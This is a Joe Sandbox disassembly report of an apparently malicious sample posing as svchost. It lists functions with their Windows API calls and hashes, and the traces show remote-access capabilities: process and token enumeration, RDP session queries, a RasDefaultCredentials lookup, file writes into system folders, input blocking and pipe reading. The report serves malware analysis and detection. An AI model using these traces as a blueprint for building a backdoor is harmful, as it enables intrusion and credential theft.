Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: File$??2@??3@CloseCreateDirectoryHandleReadSizeSystemlstrcat
String ID: \MODIf.html
API String ID: 464908389-2523469999
Opcode ID: 088a337099b5c7565b4cdf18a544089c95180c159e338bd725c5fec4e7f5bf70
Instruction ID: 5f92b90e0c3d8b001d39f646db90f7e974ff1f0587174d913261b291b2fe78ed
Opcode Fuzzy Hash: 088a337099b5c7565b4cdf18a544089c95180c159e338bd725c5fec4e7f5bf70
Instruction Fuzzy Hash: FB112BB11803407BD2205B75AC8DFEB3AACDBCA710F10493DF952D6281E979D508C765

Function 00414510 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 00414430: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414438
Part of subcall function 00414430: ??2@YAPAXI@Z.MSVCRT ref: 00414444
Part of subcall function 00414430: Process32First.KERNEL32(00000000,00000000), ref: 00414456
Part of subcall function 00414430: _strcmpi.MSVCRT ref: 00414468

OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 00414575
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 0041458F
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,?), ref: 004145B5
??2@YAPAXI@Z.MSVCRT ref: 004145C2
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,?,?), ref: 004145E4
??2@YAPAXI@Z.MSVCRT ref: 00414606
LookupAccountSidA.ADVAPI32(00000000,00000000,00000000,00000100,?,00000104,?), ref: 00414636

Strings

explorer.exe, xrefs: 00414539

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??2@Token$InformationOpenProcess$AccountCreateFirstLookupProcess32SnapshotToolhelp32_strcmpi
String ID: explorer.exe
API String ID: 2062827286-3187896405
Opcode ID: 9ecc5d52fbb4a3ca12334cfb6dd963f38712b223c482a86c27143efe60af3bee
Instruction ID: 8cd090bee0d88cecc6a2eb7b03f8c81b44d674e4092eba6e8a2b963bd3884497
Opcode Fuzzy Hash: 9ecc5d52fbb4a3ca12334cfb6dd963f38712b223c482a86c27143efe60af3bee
Instruction Fuzzy Hash: 3B414DF1D41228AFDB10DF95ED85BEEBBB8EF48B14F10415AF519A3280D6745980CFA4

Function 00411CE0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00411D06
lstrcatA.KERNEL32(?,?), ref: 00411D15
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000003,00000080,00000000), ref: 00411D32
SetFilePointer.KERNEL32(00000000,?,?,00000000), ref: 00411D43
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00411D60
CloseHandle.KERNEL32(00000000), ref: 00411D67
LocalFree.KERNEL32(?), ref: 00411D97

Strings

p, xrefs: 00411D80

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: File$CloseCreateDirectoryFreeHandleLocalPointerSystemWritelstrcat
String ID: p
API String ID: 3379061965-2181537457
Opcode ID: 2620dad132952b1124f95579c27154248252d3ec9c08425a1d47cf9531069940
Instruction ID: af528a88211eda802c5ef81feccdd95d1839d874b5212da3b1c7ccaefff0eef0
Opcode Fuzzy Hash: 2620dad132952b1124f95579c27154248252d3ec9c08425a1d47cf9531069940
Instruction Fuzzy Hash: DF21A171184305ABD300DF50DC85FDBB7E8FBC9705F008A1DF24597290D7B4AA098BA6

Function 0040FD10 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

WTSQuerySessionInformationA.WTSAPI32(00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD30
WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD50
WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD64
WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD78
WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD8B

Strings

Console, xrefs: 0040FD73
ICA, xrefs: 0040FD5F
RDP, xrefs: 0040FD4B

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: FreeMemory$InformationQuerySession
String ID: Console$ICA$RDP
API String ID: 2964284127-2419630658
Opcode ID: 29a937f44db379fc72699f7d6f1532cf041b27c62a9b0bc4e901ad8d8630bd28
Instruction ID: d0399e3f103112857432ec4b1012cd48120b3d9a22be5902b3b012319a1485eb
Opcode Fuzzy Hash: 29a937f44db379fc72699f7d6f1532cf041b27c62a9b0bc4e901ad8d8630bd28
Instruction Fuzzy Hash: B601C0B2A0412157C610FA58BC419DBB6ACEE90B1AF44843FF944A6200D2398D18CBEE

Function 00405070 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 004050B0

Strings

advapi32.dll, xrefs: 004050D8
L$_RasDefaultCredentials#0, xrefs: 004050D7
ConvertSidToStringSidA, xrefs: 004050E5

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: AccountLookupName
String ID: ConvertSidToStringSidA$L$_RasDefaultCredentials#0$advapi32.dll
API String ID: 1484870144-3270869392
Opcode ID: bfcd67e2ae47caa7416350a499340a7d197e259b60ecc21483239d1da913b2f9
Instruction ID: 6e6a9c4446d1e5c727091892cfedc2c02806670e68d5919b95ac2f7a01e6bb86
Opcode Fuzzy Hash: bfcd67e2ae47caa7416350a499340a7d197e259b60ecc21483239d1da913b2f9
Instruction Fuzzy Hash: 45118271644302AFE714CF64DD85BFB3BA8EBD4700F40C92DF45982190F7789A488BA6

Function 00405BE0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,0040559F,00000000), ref: 00405BF1
lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,0040559F,00000000), ref: 00405BFA
??2@YAPAXI@Z.MSVCRT ref: 00405C01
??2@YAPAXI@Z.MSVCRT ref: 00405C09
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,0040559F,00000000), ref: 00405C1F
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 00405C32
??3@YAXPAX@Z.MSVCRT ref: 00405C39

Strings

QB, xrefs: 00405C4B

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??2@ByteCharMultiWidelstrlen$??3@
String ID: QB
API String ID: 1676418047-3745765429
Opcode ID: 250b363a6bcf381e46adfe5752f2b48b3374299a8dc34a1b9e24d15d2dccdc6d
Instruction ID: 75ff8a9fbc8792cd233eaf4d511f32df3a76be2e5d72fc327b055b0e807b7686
Opcode Fuzzy Hash: 250b363a6bcf381e46adfe5752f2b48b3374299a8dc34a1b9e24d15d2dccdc6d
Instruction Fuzzy Hash: 0FF0FCB26C922837F12022667C45FD73A5CCB92BB4F154237FA14A61C2D95468508ABD

Function 0040B7C0 Relevance: 13.7, APIs: 9, Instructions: 194registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F013F,?,00000000), ref: 0040B7D9
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 0040B80B
LocalAlloc.KERNEL32(00000040,?,74DF02D0,74DEF530), ref: 0040B85E
malloc.MSVCRT ref: 0040B899
malloc.MSVCRT ref: 0040B8A7
RegEnumValueA.ADVAPI32(?,?,?,?,00000000,00000000,?,?), ref: 0040B931

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: malloc$AllocEnumInfoLocalOpenQueryValue
String ID:
API String ID: 574313380-0
Opcode ID: b2b1997a2901f85a649034e6605411934a3e022b08e4c183a6350cdc5cd33681
Instruction ID: c2513a19ab656673e58f79ac9689a011c46ef15586d9158d9140b0064820356a
Opcode Fuzzy Hash: b2b1997a2901f85a649034e6605411934a3e022b08e4c183a6350cdc5cd33681
Instruction Fuzzy Hash: 716199716083059FC718CF29C890A6BBBE9EBC9704F44892DF58A97340D735EA09CB96

Function 004141D0 Relevance: 13.6, APIs: 9, Instructions: 86stringmemorywindowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,00000000,000003FF), ref: 0041420A
IsWindowVisible.USER32 ref: 00414219
lstrlenA.KERNEL32(00000000), ref: 00414232
LocalAlloc.KERNEL32(00000040,00000001), ref: 00414244
LocalSize.KERNEL32 ref: 00414254
lstrlenA.KERNEL32(00000000), ref: 00414272
LocalReAlloc.KERNEL32(?,?,00000042), ref: 0041427E
GetWindowThreadProcessId.USER32(?,?), ref: 00414292
lstrlenA.KERNEL32(00000000,?,?,00000042), ref: 0041429D

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: LocalWindowlstrlen$Alloc$ProcessSizeTextThreadVisible
String ID:
API String ID: 925664022-0
Opcode ID: 7352155b255063380927b2f9ea1bbe54736e11899cbca5f380a4eb8d44175901
Instruction ID: 7bc22b65140d0a763428e586f7d5a79d689475f33901e0b3a2dd60b429ae6eb3
Opcode Fuzzy Hash: 7352155b255063380927b2f9ea1bbe54736e11899cbca5f380a4eb8d44175901
Instruction Fuzzy Hash: 3C21F8712443495BD720DF64DC84BEB77E8EFC5300F00487DFA8593241DB78A9498769

Function 0040DF10 Relevance: 13.6, APIs: 9, Instructions: 83pipesleepmemoryCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 0040DF31
PeekNamedPipe.KERNEL32(?,?,00000400,00000000,?,00000000), ref: 0040DF51
LocalAlloc.KERNEL32(00000040,?), ref: 0040DF73
ReadFile.KERNEL32(?,00000000,?,00000000,00000000), ref: 0040DF8C
malloc.MSVCRT ref: 0040DF9A
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 0040DFB1
LocalFree.KERNEL32(00000000), ref: 0040DFC8
free.MSVCRT(00000000), ref: 0040DFCF
PeekNamedPipe.KERNEL32(?,?,00000400,?,?,00000000), ref: 0040DFF1

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: LocalNamedPeekPipe$AllocByteCharFileFreeMultiReadSleepWidefreemalloc
String ID:
API String ID: 2746250319-0
Opcode ID: 13d3c52c77c26060d2d3e5e7becf95b26f67cc2f0146c2804a80f9f2b150d1b5
Instruction ID: 4b0fb8380006c6ba774764db5b3672daa6d8f7aa649bac87414d123e8f010ba6
Opcode Fuzzy Hash: 13d3c52c77c26060d2d3e5e7becf95b26f67cc2f0146c2804a80f9f2b150d1b5
Instruction Fuzzy Hash: 51217CB0284302BBE714DF65DC85FAB77A9EF84700F00492DB655A7281E774E809CB6A

Function 00414690 Relevance: 13.6, APIs: 9, Instructions: 66threadstringCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004146A2
GetThreadDesktop.USER32(00000000), ref: 004146A9
GetUserObjectInformationA.USER32(00000000,00000002,?,00000100,?), ref: 004146D6
OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 004146E1
GetUserObjectInformationA.USER32(00000000,00000002,?,00000100,?), ref: 0041470E
lstrcmpiA.KERNEL32(?,?), ref: 0041471D
SetThreadDesktop.USER32(00000000), ref: 00414728
CloseDesktop.USER32(00000000), ref: 00414740
CloseDesktop.USER32(00000000), ref: 00414743

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Desktop$Thread$CloseInformationObjectUser$CurrentInputOpenlstrcmpi
String ID:
API String ID: 3718465862-0
Opcode ID: 81cb0245afd6767c538e0431a614d19edd2989db12e46f1d4cbb660a8d0481fb
Instruction ID: fd7406d3ebb308afc4d360af80605fb9a5cc53d0a3156ee0d4c3b58c4dc62d17
Opcode Fuzzy Hash: 81cb0245afd6767c538e0431a614d19edd2989db12e46f1d4cbb660a8d0481fb
Instruction Fuzzy Hash: 8111EE712443096BE310DF60DC85FDB779CEB85700F008C39FA5592191EB74A54987A6

Function 00408FD0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 67processstringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000100), ref: 00409004
lstrcatA.KERNEL32(?,Program Files\Internet Explorer\IEXPLORE.EXE), ref: 00409018
GetStartupInfoA.KERNEL32(?), ref: 00409023
CreateProcessA.KERNEL32 ref: 0040907A
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 0040909D

Strings

open, xrefs: 00409097
Program Files\Internet Explorer\IEXPLORE.EXE, xrefs: 0040900E

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CreateDirectoryExecuteInfoProcessShellStartupWindowslstrcat
String ID: Program Files\Internet Explorer\IEXPLORE.EXE$open
API String ID: 1806785504-1200888636
Opcode ID: c0f23714183a4d7a7737c784e713cadc4998add0510ea98b5be8d6c4225745a3
Instruction ID: bb4ebcb4ce031f1990698fc563645605ddc05e1f8c9307520f5073aea1853278
Opcode Fuzzy Hash: c0f23714183a4d7a7737c784e713cadc4998add0510ea98b5be8d6c4225745a3
Instruction Fuzzy Hash: AD2130B1588345BFD7008FA5DCC499BBBECFBC8349F40882DB59486261D6B99948CB16

Function 0040AA70 Relevance: 12.1, APIs: 8, Instructions: 133registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F013F,00000000,?,?), ref: 0040AAC7
RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AAE7
RegSetValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 0040AB1D
RegSetValueExA.ADVAPI32(?,?,00000000,?,?), ref: 0040AB4A
RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AB68
RegDeleteKeyA.ADVAPI32(?,?), ref: 0040AB7A
RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AB98
RegDeleteValueA.ADVAPI32(?,?), ref: 0040ABAA

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: OpenValue$Delete$Create
String ID:
API String ID: 2295199933-0
Opcode ID: 1e01743ee8fa589474f573aaa5da630497aa17163951b7374a2aa14a6466ee86
Instruction ID: 90dcdda1dcfe4ccb8adca3d92b295771263b3cc75a202ef65b39c436413bcc7a
Opcode Fuzzy Hash: 1e01743ee8fa589474f573aaa5da630497aa17163951b7374a2aa14a6466ee86
Instruction Fuzzy Hash: 614131B1610209ABDB10CF95CDC4DEB77BDFB48750B108169FA19E3280D774EE148B65

Function 004069C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 98fileCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?), ref: 004069EB
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000003,00000080,00000000,?,?), ref: 00406A5E
SetFilePointer.KERNEL32(00000000,?,?,00000000,?,?), ref: 00406A73
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?), ref: 00406A90
CloseHandle.KERNEL32(00000000,?,?), ref: 00406A97

Strings

p, xrefs: 00406A9D

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: File$CloseCreateDirectoryHandlePointerWindowsWrite
String ID: p
API String ID: 2150778781-2181537457
Opcode ID: 69dc6aa7721149ada4878e6f046b85cefd98c909c3cb018aede20fbdd1e75405
Instruction ID: 493f7fc5d6d3af737c21644156a14811dc7ed62aa288cf3668260e68d6f4ca28
Opcode Fuzzy Hash: 69dc6aa7721149ada4878e6f046b85cefd98c909c3cb018aede20fbdd1e75405
Instruction Fuzzy Hash: 5431D5716447046BD318CE24DC45AABB7D6FBC4320F048B2DF966872D1DAB49E098B91

Function 00407690 Relevance: 10.6, APIs: 7, Instructions: 96stringfilememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,00000000), ref: 004076DC
GetFileSize.KERNEL32(00000000,?,?,?,?,00000000), ref: 004076FB
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00407704
lstrlenA.KERNEL32(?,?,?,00000000), ref: 0040770B
LocalAlloc.KERNEL32(00000040,00000000,?,?,00000000), ref: 00407719
lstrlenA.KERNEL32(?,?,?,00000000), ref: 00407747
LocalFree.KERNEL32(00000000,?,?,00000000), ref: 0040776F

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: FileLocallstrlen$AllocCloseCreateFreeHandleSize
String ID:
API String ID: 2793549963-0
Opcode ID: 962528829d1462a7866aef07fe92c06ca7f7353d035e226cfed0c9e36981cb67
Instruction ID: 23b8150baac335aacb58f4fc3f17428cb78632f09c98068ffb6516f41460d86a
Opcode Fuzzy Hash: 962528829d1462a7866aef07fe92c06ca7f7353d035e226cfed0c9e36981cb67
Instruction Fuzzy Hash: D521F8327803046FD7089A78EC95A6BB7DAEBD8621F44853DFA02C73C1DAB59C05C664

Function 0040C210 Relevance: 10.6, APIs: 7, Instructions: 83keyboardwindowsleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 0040C25C
SystemParametersInfoA.USER32(00000056,00000001,00000000,00000000), ref: 0040C277
SendMessageA.USER32(0000FFFF,00000112,0000F170,00000002), ref: 0040C28A
SystemParametersInfoA.USER32(00000056,00000000,00000000,00000000), ref: 0040C2A6
SendMessageA.USER32(0000FFFF,00000112,0000F170,000000FF), ref: 0040C2B9

Part of subcall function 0040BD10: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0041BC11,000000FF,0040BEC5,?,?,?,?,?,?,0041BC20,000000FF), ref: 0040BD36
Part of subcall function 0040BD10: CloseHandle.KERNEL32(?,?,?,0041BC11,000000FF,0040BEC5,?,?,?,?,?,?,0041BC20,000000FF), ref: 0040BD40
Part of subcall function 0040BD10: ??2@YAPAXI@Z.MSVCRT ref: 0040BD6E

BlockInput.USER32(?), ref: 0040C2C6
BlockInput.USER32(00000000), ref: 0040C2F9

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: BlockInfoInputMessageParametersSendSystem$??2@CloseHandleObjectSingleSleepWait
String ID:
API String ID: 485892433-0
Opcode ID: cf1fb38d228dc1569388e92ffabee1dd2d3b158727e181d72d9c0c3adbfb67b0
Instruction ID: 6651918e330f8db9b64dae0c795f9f1d02bdc814a0a6956365467b4dcfc39201
Opcode Fuzzy Hash: cf1fb38d228dc1569388e92ffabee1dd2d3b158727e181d72d9c0c3adbfb67b0
Instruction Fuzzy Hash: 9121A130340304A6EA207BB64CC3B6B62454F41B14F501A7E7B12BF6C3CDB9D845826D

Function 0040BC40 Relevance: 10.6, APIs: 7, Instructions: 67synchronizationCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 0040BC7A
InterlockedExchange.KERNEL32(?,00000000), ref: 0040BC82
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,00000000,0041BBE3,000000FF,004087AB), ref: 0040BC90
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,00000000,0041BBE3,000000FF,004087AB), ref: 0040BC98
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,0041BBE3,000000FF,004087AB), ref: 0040BCA4
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,0041BBE3,000000FF,004087AB), ref: 0040BCAA
DestroyCursor.USER32(?), ref: 0040BCDE

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseExchangeHandleInterlockedObjectSingleWait$CursorDestroy
String ID:
API String ID: 2236516186-0
Opcode ID: dce065a875648190daee6ae261cc4712152cc63f2874f0f3c1f73f11455fb58c
Instruction ID: 59ac7591741e4f0f7b2444f90d6cea66a200c0d228c96d40a07244b96a96f290
Opcode Fuzzy Hash: dce065a875648190daee6ae261cc4712152cc63f2874f0f3c1f73f11455fb58c
Instruction Fuzzy Hash: DF2149B62447049BD220DF69CC80B96B3E9EB88720F104B1EE166937E0C7B8F8018B94

Function 00414430 Relevance: 10.6, APIs: 7, Instructions: 53processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414438
??2@YAPAXI@Z.MSVCRT ref: 00414444
Process32First.KERNEL32(00000000,00000000), ref: 00414456
_strcmpi.MSVCRT ref: 00414468
Process32Next.KERNEL32(00000000,00000000), ref: 0041447E
lstrcmpiA.KERNEL32(00000024,?), ref: 00414489
Process32Next.KERNEL32(00000000,00000000), ref: 00414495

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Process32$Next$??2@CreateFirstSnapshotToolhelp32_strcmpilstrcmpi
String ID:
API String ID: 3655294272-0
Opcode ID: 382d24646955c8adbcccceba76a207dec9aa1653282164e374270b813dc2aa41
Instruction ID: 0acb1295e31093df48621b14c62b28a448a8c1c34f69a168c6e29c845afc057b
Opcode Fuzzy Hash: 382d24646955c8adbcccceba76a207dec9aa1653282164e374270b813dc2aa41
Instruction Fuzzy Hash: 38F0A4B134121A22D63066B7AC45BF7BB8CCF857AAF00087AF904D5542EB19E89592B9

Function 004148C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?,?), ref: 004148D1
wsprintfA.USER32 ref: 004148FC
